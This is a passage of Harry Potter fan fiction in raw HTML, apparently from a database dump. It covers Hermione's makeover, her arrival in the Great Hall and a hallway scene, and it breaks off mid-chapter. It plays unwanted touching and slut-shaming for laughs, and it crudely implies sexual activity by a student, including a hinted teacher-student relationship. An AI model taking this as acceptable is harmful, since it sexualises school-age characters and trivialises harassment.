style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You want Finch-Fletchley to\nnotice you, then you have to take drastic measures&#8212;&#8221;&nbsp; Harry was interrupted by Blaise.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And I think this is very drastic,\nI mean looked at those clothes and that hair.&nbsp;\nEven my poodle has better hair than that.&#8221; Blaise&#8217;s tone was superior.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione glared at the snobby\ngirl, &#8220;did you just insult me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh you&#8217;re head girl you figure it\nout.&#8221; Blaise was sweet sounding</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione made some sort of\ngrowling noise that kind shocked Harry a bit as she saw him jump back a\nlittle.&nbsp; She turned to him.&nbsp; &#8220;Harry I&#8217;m leaving I don&#8217;t have to take this\nfrom her.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry jumped in front of her,\n&#8220;just ignore her.&nbsp; You want Finch\nFletchley then this is the way to do it.&nbsp;\nYou saw how he was all over Lavender.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s because Lavender is a\ntramp, much like Weasley&#8217;s sister.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But she&#8217;s a good looking tramp,\nso if you want to snag your man then you will listen to me.&nbsp; Blaise is beautiful, elegant and well\nrespected.&nbsp; You want the same\nconsideration, don&#8217;t you?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed with defeat, &#8220;yes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry smiled, &#8220;Wonderful.&#8221;&nbsp; He then turned to Blaise, &#8220;Okay work your magic&nbsp; Blaise, she&#8217;s\nready.&#8221;&nbsp; As Blaise approached Hermione,\nHarry cleared his throat. &#8220;Why don&#8217;t you two get acquainted.&nbsp; Like I don&#8217;t know give each other a nice,\nsultry kiss.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise turned and looked at him\nwith disgust along with Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry this is not a porno,&#8221;\nHermione wasn&#8217;t really shocked at his comment.&nbsp;\n&#8220;Girls just don&#8217;t go around kissing each other, especially if they are\nnearly strangers.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Darn.&#8221; Harry had a bit of\ndisappointment in his eye, he held his fingers up\nmaking a small finger gesture, &#8220;Just a little one?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;NO!&#8221; Both girls said at the same\ntime.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not very happy.&#8221; Harry said\nfolding his arms unhappily across his chest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh yes every girl is just born to\nplease the wonderful, and glorious Harry Potter what ever shall we do if he is\nunhappy.&#8221; Hermione was sarcastic, she heard Blaise laugh at her comment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;All right come on, we can do this better in\nyour room.&#8221; Blaise put a floating charm on her trunk and levitated it to\nHermione&#8217;s room, the two girls walked inside and the door closed.&nbsp; &#8220;Okay Hermione lets see about your\nwardrobe.&#8221;&nbsp; Blaise walked to the closet\nand opened the double doors. She nearly had a heart attack at the very dull\ncolors.&nbsp; &#8220;How can you wear this\nstuff?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey I happen to like my clothes.&#8221;\nHermione was offended.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise shook her head and stepped\ninside the closet. She started pulling items off the hangers and throwing them\nout, &#8220;no, no, definitely no. Ack.\nNo, no, no.&nbsp; This is horrid, no no.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s clothes were flying out\nat her in rapid speed as she ran around the room trying to catch the objects, she didn&#8217;t really do a very good job most of the\ngarments were scattered about the room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise opened her trunk &#8220;now here\nare some things that might suit you.&#8221;&nbsp;\nHermione walked over to Blaise and her trunk and sat down on the edge of\nthe bed,&nbsp; Blaise\nhanded her a silver silk shirt.&nbsp;&nbsp; &#8220;Here\ntry this.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione held it away from her\nwith one finger, &#8220;but this just isn&#8217;t me.&#8221; She stared at the garment unsure.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Exactly, you want to nab this guy\nthen you have to throw out your old self and bring in the new.&#8221; Blaise said\nwith a smile as she watched as Hermione tried on a number of outfits.&nbsp; &#8220;Yes those seem to suit you just perfectly.&#8221;\nShe looked up at the frizzy mess of hair upon Hermione&#8217;s head, &#8220;Now to do\nsomething about that hair.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise brought her into the\nbathroom, and started running some water.&nbsp;\n&#8220;That was a pretty funny thing you said to Harry back in his room.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What was?&#8221; Hermione replied\nhaving forgotten half the things she says to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;About how you\nsaid that every girl is born to please him.&#8221; Blaise laughed a bit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh that.&#8221; Hermione smiled as\nBlaise worked on her hair in small sections.&nbsp;\n&#8220;Well one has to be a quick wit when dealing with Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know, but sometimes I don&#8217;t\nthink of something quickly and he gets the better of me. Of course I do have my\nmoments of brilliance.&#8221; Blaise said shaking her head.&nbsp; &#8220;Can you believe what he just said to us,\nabout getting to know each other.&nbsp; That&#8217;s just really gross.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well he is a guy.&#8221; Hermione\nreplied, &#8220;It didn&#8217;t really shock me that he said that though, I was kind of\nexpecting something like that to come out of his mouth.&#8221; She laughed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He seemed really disappointed.&#8221;\nBlaise giggled and then a thought popped into her head.&nbsp; &#8220;Hey do you want to have a little fun with\nhim?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione turned around from her\nchair facing Blaise, &#8220;What do you mean?&#8221;&nbsp;\nShe noticed a sneaky look in the girls eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just go with me here,&#8221; Blaise\nsaid with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry heard shuffling near the\nclosed bathroom door and he decided to go and try to listen in and maybe figure\nout what they were doing.&nbsp; He pressed his\near to the door and heard a most interesting conversation.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh yes, Blaise, that feels so\nnice.&#8221; Harry heard Hermione&#8217;s voice and pressed his ear harder to against the\ndoor.&nbsp; &#8220;What about this?&nbsp; Do you like that?&#8221;&nbsp; Harry&#8217;s eyes widened at the sound of Blaise&#8217;s\nvoice, and then heard Hermione again. &#8220;Yes do that, doesn&#8217;t it feel like silk?&#8221;\nHarry now had himself pressed up against the door, so that he could hear\neverything. &#8220;Oh,&#8221; Blaise said, &#8220;It is so soft, do you like my fingers\nthere?&#8221;&nbsp; Harry heard Hermione moan\nloudly, &#8220;Oh yes touch it just like that, no over a little.&nbsp; Oooo yes right\nthere.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">That&#8217;s it Harry couldn&#8217;t take it\nanymore he just had to see what those two girls were up to.&nbsp; His hand went to the doorknob and he turned\nit pushing the door open, quickly.&nbsp; What\nhe saw wasn&#8217;t what he expected.&nbsp; He saw\nBlaise behind Hermione who was sitting in a chair.&nbsp; Blaise had a brush in her hand and fingers\nthrough Hermione&#8217;s hair.&nbsp; Both girl\nturned at his entrance of the room and burst out into a fit of hysterical\nlaughter.&nbsp; He felt like a real\nidiot.&nbsp; &#8220;You two are so mean.&#8221; Harry said\nleaving the room and closing the door behind him.&nbsp; He could still hear they hysterical laughter\ncoming from the room.&nbsp; He humpfed and sat\ndown on his bed covering his face with the pillow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After another half hour Blaise\ncame out of the bathroom into Harry&#8217;s room, &#8220;I&#8217;ve done all I could for her,\nwhat do you think?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sat up looking at Blaise,\n&#8220;Well I would be able to tell you if she was in here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise looked confused and turned around\nnot finding Hermione behind her. &#8220;Uh hold on, I suppose she&#8217;s a little\nshy.&#8221;&nbsp; Blaise went back in the bathroom,\nand Harry heard them talking.&nbsp; &#8220;Come on,\nits fine.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t know, I just don&#8217;t\nthink&#8212;&#8221; Hermione was interrupted by Blaise.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just come out, you look fine.&#8221;\nBlaise said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry saw Blaise walk out of the\nbathroom with Hermione following after her so close as if trying to hide\nherself.&nbsp; Harry got to his feet as Blaise\nmoved out of the way and all that was left was Hermione.&nbsp; It seemed time had stopped as he gazed upon\nHermione, her hair was in lose curled ringlets cascading down her shoulders and\nframing her face Her hair actually had a silky sheen to it.&nbsp; He couldn&#8217;t even think he was so awe struck.&nbsp; The only makeup on Hermione was a little bit\nof light pink lip gloss and it wasn&#8217;t even too flashy.&nbsp; She wore a simple yellow sundress.&nbsp; Harry didn&#8217;t even realize he was staring.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise leaned in closer to Harry&#8217;s\near, &#8220;So what do you think?&nbsp; She didn&#8217;t\nneed too many cosmetics, she has one of those flawless\nfaces.&nbsp; It&#8217;s just the way her hair was,\nit kind took the focus from her face and bam hair right there.&nbsp; But I had to soften her hair a bit and you\ncould actually see how&#8212;&#8221; Blaise noticed he wasn&#8217;t listening to her.&nbsp; &#8220;Harry? Harry?&#8221; She whispered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry couldn&#8217;t hear anyone\nspeaking to him, all he saw was Hermione, all that was the focus was her.&nbsp; He took in a breath, &#8220;You look really, really\n<i style="mso-bidi-font-style:normal">&#8216;beautiful&#8217;</i> his mind answered,\n&#8220;Nice.&#8221; He said shaking himself of his staring.&nbsp;\nBut for some reason he felt some kind of loss, but he didn&#8217;t know what\nit was.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I don&#8217;t like it too much, I\nfeel so awkward.&#8221; Hermione said glancing down at her feet. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nonsense, I think you look\nbeautiful.&#8221; Blaise said with a smile.&nbsp;\n&#8220;It looks like my work here is done.&nbsp;\nI&#8217;ll head back to the dungeons now.&nbsp;\nBut before I leave, Hermione you and I need to discuss a few things.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded and followed\nBlaise into her room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took a few breaths, &#8216;<i style="mso-bidi-font-style:normal">okay, she&#8217;s just Hermione, normal studious\ngirl.&nbsp; That&#8217;s right.&nbsp; I have no attraction to her what so ever.&#8217;</i>&nbsp; He thought to himself. &#8216;<i style="mso-bidi-font-style:\nnormal">But she is a pretty girl, one of the best looking ones in the\nschool.&nbsp; Now it&#8217;s been confirmed.&nbsp; No, no she&#8217;s just Hermione, reliable, smart\nand always there Hermione.&nbsp; Okay whatever\nyou say.&#8217;</i>&nbsp; Harry smiled.&nbsp;&nbsp; &#8220;That&#8217;s right,&#8221; He said out loud.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Besides\nI have a date tomorrow night.&#8217;</i>&nbsp; That\nwould certainly clear his mind of Hermione who was looking very pretty.\n&#8220;UGH!!&nbsp; Stop it, stop it!&#8221;&nbsp; He didn&#8217;t hear his door open.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Uh Harry,&#8221; Hermione saw him turn\naround.&nbsp; &#8220;Who are you talking too?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry had to think fast but no\nthoughts were forming in his head.&nbsp; It\nseemed his mind had shut down so out came the truth. &#8220;Um myself.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well that&#8217;s okay, its when\nyourself starts answering back is when there something wrong in the nest\nupstairs.&#8221; Hermione said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah sure, did you want\nsomething?&#8221; He asked with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nah, I was just coming to tell\nyou that I was going to sleep now.&#8221; She returned the smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh, okay then good night.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded and closed the\ndoor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sighed and sat down on his\nbed,&nbsp; well maybe\nafter a good nights sleep his thoughts will return to normal.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">That&#8217;s\nright, sleep is what I need&#8217;&nbsp; Harry</i> thought to himself as\nhe stripped out of his clothes, leaving only his boxers and climbed into the\nbed.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Sleep, sleep, sleep.&#8217;</i>&nbsp; He thought.&nbsp;\nSoon he would be facing his dreams.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=======</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Well that&#8217;s it for chapter 3,\nHoped you all liked it.&nbsp; Stay tuned for\nchapter 4&nbsp;&nbsp; Read and review.&nbsp; Thanks, Ryoko&nbsp;&nbsp; And check out my yahoogroup&nbsp;&nbsp; http://groups.yahoo.com/group/Ryokos_Place/&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(15, 4, ' <p>Disclaimer: : I don&#8217;t own original Harry Potter characters or situations, They belong to J.K Rowlings. If I owned them, I would be sitting in Hawaii right now sipping drinks with little umbrellas in them and having hot guys serving my every need. *sigh* Oh well</p>\n\n<p>All That She Wants</p>\n\n<p>Chapter 4&#8212;It&#8217;s In His Kiss</p>\n\n<p>Harry walked into the Great Hall; he was next to the doors when he turned to talk to Hermione one last time before going to his table. He was shocked to find that she just disappeared. He looked around he could have sworn she was just there. &#8220;Hermione?&#8221;</p>\n\n<p>&#8220;I can&#8217;t go in there looking like this.&#8221; She said hiding behind the wall next to the door.</p>\n\n<p>He walked back out of the hall and looked at her, &#8220;What are you talking about?&#8221;</p>\n\n<p>&#8220;Everyone will stare at me.&#8221; She said glancing down at her toes.</p>\n\n<p>Harry leaned against the door and gave her a half grin, &#8220;Yes everyone will. And do you know the one person that is included in everyone?&#8221; He saw her look up in an adorable knowing smile. &#8220;That&#8217;s right, the all wonderful man of your dreams. Me.&#8221; </p>\n\n<p>Hermione tilted her head to the side. &#8220;You know I always associated you with man of my nightmares.&#8221;</p>\n\n<p>&#8220;Ha, ha.&#8221; He laughed dryly. &#8220;Okay let&#8217;s be serious here for a moment and I don&#8217;t mean my Godfather, yes your Justin Finch-Fletchley will be staring at you too.&#8221;</p>\n\n<p>&#8220;Well okay, here goes nothing.&#8221; Hermione stepped into the Great Hall and began walking towards the Gryffindor table while Harry went and sat at the Slytherin table. </p>\n\n<p>A hush fell over the Great Hall; only a few students could be heard as Hermione felt many pairs of eyes on her. She took her seat without saying a word. She could hear the students whispering, &#8220;Oh my god is that Plainy Brainy,&#8221; and other such insults. Along with a few quiet compliments such as &#8220;Wow she has breasts and she looks hot.&#8221; Hermione wanted to crawl away and hide, this was all very uncomfortable. She bent over her plate and reached for an orange but it was picked up before she could grab it. </p>\n\n<p>&#8220;Hey Hermione, let me peel that for you.&#8221; A sixth year Gryffindor offered and immediately began to peel the orange.</p>\n\n<p>She looked up at him. &#8220;Uh yeah, sure.&#8221;</p>\n\n<p>Neville from Ravenclaw wandered over to the Gryffindor table, &#8220;Hermione would you like a muffin?&#8221; He offered her his blueberry muffin.</p>\n\n<p>&#8220;No thanks,&#8221; Hermione was confused and she turned back towards her plate.</p>\n\n<p>Colin Creevy, a sixth year Hufflepuff wandered towards the Gryffindor table, he stopped at Hermione and tapped her on the shoulder. She turned around and looked up at him.</p>\n\n<p>&#8220;Yes?&#8221;</p>\n\n<p>&#8220;Would you like my granola bar?&#8221; Colin smiled.</p>\n\n<p>She was about to say something when Seamus roughly ran into him, pushing him out of the way. &#8220;Oh get that crappy bar out of her face, she would much rather have my&#8212;&#8221; He was interrupted by Hermione abruptly standing.</p>\n\n<p>Hermione was able to take a glance at the Hufflepuff table in between swarming bodies of males he were trying to give her things and breakfast foods. She saw Justin who was calmly eating his breakfast, he even yawned he looked relatively bored. He sure seemed to be the only one not affected by Hermione&#8217;s change, probably because she was shielded by these other vultures. She needed to get away from them. &#8220;Stop it, go away!! Leave me alone I don&#8217;t want anything from you guys. Stop this right now!&#8221; She demanded. The boys quieted down.</p>\n\n<p>They all stared blankly at her, it was as if they didn&#8217;t hear her cause they all began asking her and trying to get her to take what they were offering her once again. She roughly pushed her way through the small crowd of the four annoying boys, but couldn&#8217;t get out of the way without a confrontation from some other male. Another small crowd gathered around her. This was really starting to get annoying. She tried talking to them but her voice was drowned out by the powerful male voices all around her. One voice even more annoying stuck out.</p>\n\n<p>&#8220;Oh what&#8217;s the matter, the ugly Mudblood not happy with her new found fame?&#8221; Ron was smug. </p>\n\n<p>About four boys turned around glaring at Ron, he felt the room close in on him as the four of them approached him. He started backing up</p>\n\n<p>&#8220;You insulted the lady Weasley, apologize.&#8221; A tall, very muscular boy said while cracking his knuckles as the other three just glared menacingly. When Ron didn&#8217;t apologize the tall boy swung his fist hitting Ron square in the jaw causing to fall backwards. He got up and ran smashing his whole body against his enemy. A large fight broke out, one which consisted of more then half the student body. </p>\n\n<p>Hermione didn&#8217;t have time to react when someone from out of nowhere had lifted her up and swung her over their shoulder and carried her from the Great Hall and out of the uncontrolled fighting. She glanced down and knew who it was immediately. &#8220;Oh hey Harry, thanks.&#8221;</p>\n\n<p>&#8220;How did you know it was me?&#8221; Harry asked, &#8220;You didn&#8217;t get a chance to see that I, the great Harry Potter had rescued you.&#8221; He sounded very heroic.</p>\n\n<p>&#8220;Oh I know your fat ass anywhere.&#8221; Hermione smirked.</p>\n\n<p>&#8220;Hey, did I insult your ass? I think not.&#8221; Amusement clearly rang in his voice. &#8220;Your ass is rather nice. In fact it is so nice that I think I&#8217;ll show my appreciation by giving it a nice smack.&#8221;</p>\n\n<p>Her eyes widened and she started to squirm a bit, &#8220;You wouldn&#8217;t dare?&#8221;</p>\n\n<p>&#8220;And you&#8217;ve known me how long?&#8221; He said with a hint in his voice that he very well was going to do it.</p>\n\n<p>She squirmed a lot more &#8220;Put me down.&#8221; Hermione demanded</p>\n\n<p>&#8220;Alright, alright.&#8221; He said and stopped walking.</p>\n\n<p>Hermione relaxed a bit, which was a mistake since she felt his hand smack against her rear end, &#8220;Ah!&#8221; She yelled and was immediately set down on her feet. She turned around and saw him smirking. &#8220;I&#8217;m going to get you for that.&#8221; She said stepping closer to him with a sneaky look in her eye.</p>\n\n<p>&#8220;What are doing?&#8221; He knew that look; she really was going to get him. &#8220;Ha, just get what ever it is you&#8217;re planning to do to me out of your head. Unless it&#8217;s to make wild passionate love with me, then I don&#8217;t mind so much.&#8221; He started backing away from her, as she neared him with just a simple smile on her face. Harry turned and started running from her, of course she was following after him. They ran through the halls until she tackled him bringing him down to the ground. </p>\n\n<p>&#8220;Wow Hermione, I didn&#8217;t realize you wanted me that badly.&#8221; Harry grinned looking up at her.</p>\n\n<p>&#8220;Yeah I want you like I want a hole in the head.&#8221; She replied as she let the corner of her mouth curve to a half smile, &#8220;I&#8217;ve decided to torture you.&#8221;</p>\n\n<p>He knew what that meant and he tried to move her off of him, but she was too fast and quickly started in on her tickle torture. Her fingers were everywhere as he was laughing hysterically, &#8220;Will you apologize for smacking my ass?&#8221; </p>\n\n<p>&#8220;Yes! Yes! Just stop.&#8221; He said in a fit of laughter. &#8220;I&#8212;I can&#8217;t take it.&#8221;</p>\n\n<p>&#8220;Oh my goodness, call the presses the great Harry Potter can&#8217;t take it.&#8221; She was sarcastic. &#8220;Say Hermione rules and Harry drools.&#8221;</p>\n\n<p>&#8220;No, I&#8217;m not&#8212;&#8221; He was cut off as she tickled him in his really, really ticklish spot. &#8220;Fine! Fine! Hermione&#8230;Rules&#8230;Harry&#8230;Drools.&#8221; He felt her stop her torture and get off of him.</p>\n\n<p>&#8220;Next time you&#8217;ll think about twice before messing with me Potter.&#8221; She said with a smug smiled upon her face.</p>\n\n<p>Harry sat up calming down from his torture. &#8220;Oh I always think about messing with you.&#8221; He wiggled his eyebrows suggestively.</p>\n\n<p>As Harry got to his feet and stood next to her, Hermione opened her mouth to speak her snappy come back, the door to a vacant classroom opened disrupting her train of thought. Three boys walked out, they certainly looked happy about something. Not more then a second later Ginny Weasley stepped out of the classroom, looking a right mess. She was holding her school robe draped over her arm. Her hair had been roughly messed up, and her dark eyeliner had been smeared around her eyes. The sheer black shirt was torn in places and her bra that she wore was inside out.</p>\n\n<p>Hermione glanced about the girls face and noticed something rather milky white on the side of her mouth, it looked like a glob of&#8212;&#8220;Oh my God!!&#8221; She stared at the red head and looked down the hall as the boys rounded the corner.</p>\n\n<p>Ginny looked at her innocently &#8220;What?&#8221;</p>\n\n<p>Hermione watched as Harry leaned closer to Ginny&#8217;s ear whispering something into her ear. He pulled back and stared at her also with a bit of disgust. He never really liked Ginny; she was the easiest witch in the school. She would do it anywhere and with anyone. She probably already had a number of diseases. Harry liked sex as much as the next guy but doing it with her was like; well one would have to be really desperate.</p>\n\n<p>Hermione watched as Ginny licked the side of her mouth getting rid of that glob, she turned to Harry, &#8220;I think I&#8217;m going to be sick.&#8221; Hermione said already feeling the chunks rising up into her throat. </p>\n\n<p>Harry nodded, agreeing with her.</p>\n\n<p>&#8220;What?&#8221; Now Ginny was offended.</p>\n\n<p>&#8220;You are such a tramp.&#8221; Hermione said.</p>\n\n<p>&#8220;Yeah well, well.&#8221; Ginny couldn&#8217;t think of anything, &#8220;At least I have fun and I&#8217;m not ugly.&#8221;</p>\n\n<p>Hermione rolled her eyes.</p>\n\n<p>&#8220;Hey, Hermione&#8217;s not ugly.&#8221; Said Dean Thomas, he had heard the conversation and came towards them. &#8220;I happen to think she is very, very, pretty.&#8221; He looked right at Hermione and smiled.</p>\n\n<p>Harry rolled his eyes at Dean&#8217;s comment. </p>\n\n<p><i>&#8216;Not another one.&#8217;</i> Hermione thought to herself. She looked at Dean and gave him a polite smile. </p>\n\n<p>&#8220;Yeah, whatever.&#8221; Ginny said. She glanced at Harry and batted her eyes. &#8220;I was wondering if you would like to go to Hogsmeade with me tonight, being that it&#8217;s Friday and all.&#8221;</p>\n\n<p>&#8220;Uh, no thanks Ginny I already have a date for tonight.&#8221; He was repulsed with just the thought of going anywhere with Ginny.</p>\n\n<p>&#8220;Well you could cancel you know,&#8221; Ginny said almost hopeful.</p>\n\n<p>&#8220;Actually, I&#8217;m quite fond of the date I have thank you.&#8221; He turned to Hermione, &#8220;Can we go and look over that Transfiguration problem I was having trouble with?&#8221;</p>\n\n<p>Hermione glanced at Harry oddly, He didn&#8217;t have any trouble with Transfiguration, and she saw him give her a little eyebrow signal. And it hit her. &#8220;Oh, right. Okay yeah sure.&#8221;</p>\n\n<p>&#8220;We have to go to our rooms and get our books for class anyway.&#8221; Harry said with a smile.</p>\n\n<p>Hermione nodded, they turned to go when Professor Snape rounded the corner. His normal sneer etched into his cold, hard face. </p>\n\n<p>&#8220;What are you students doing lurking in the hall?&#8221; Snape crossed his arms, He glared at Harry even though he was in his house he still hated the boy with a passion. </p>\n\n<p>&#8220;We were just going.&#8221; Dean replied.</p>\n\n<p>Snape nodded once, he turned to Ginny. &#8220;Remember Miss Weasley we have that schedule to look over this morning.&#8221;</p>\n\n<p>&#8220;Of course.&#8221; Ginny said with a smile, Snape started walking away with her following after him.</p>\n\n<p>Dean, Harry and Hermione were staring after them.</p>\n\n<p>&#8220;Okay, now that&#8217;s just wrong on so many levels.&#8221; Hermione said in pure disgust. &#8220;For one it&#8217;s illegal and another, that&#8217;s just really, really gross. </p>\n\n<p>Both Dean and Harry nodded, agreeing with her completely.</p>\n\n<p>Harry reached down and grabbed a hold of Hermione&#8217;s hand and started dragging her away from Dean, &#8220;Let&#8217;s go get our Transfiguration books for class.&#8221;</p>\n\n<p>&#8220;Okay.&#8221; Hermione replied as she was being drug along the corridors towards the Head Boy and Girl&#8217;s quarters while Dean stared, watching them walking away.</p>\n\n<p>After a lovely and tasty lunch Hermione walked into the library, her eyes immediately were drawn to Justin who was seated at a table reading his History of Magic book and writing on a scroll. She brought up that so called Gryffindor bravery and walked over to his table. She cleared her throat and he looked up at her.</p>\n\n<p>She couldn&#8217;t think of anything to say. &#8220;Do you mind if I sit here?&#8221; <i>&#8216;That sounded lame&#8217;</i> her mind shouted.</p>\n\n<p>Justin shook his head, &#8220;No, go ahead.&#8221; He returned to his reading as Hermione walked around the table and sat down next to him. </p>\n\n<p>Hermione watched him for a moment, and then decided to speak to him. &#8220;Doing homework?&#8221; <i>&#8216;Lame!!&#8221;</i> Her mind shouted at her.</p>\n\n<p>He turned looking at her oddly, &#8220;Uh yeah, that&#8217;s generally what you do in a library.&#8221; He shook his head and then turned back to his 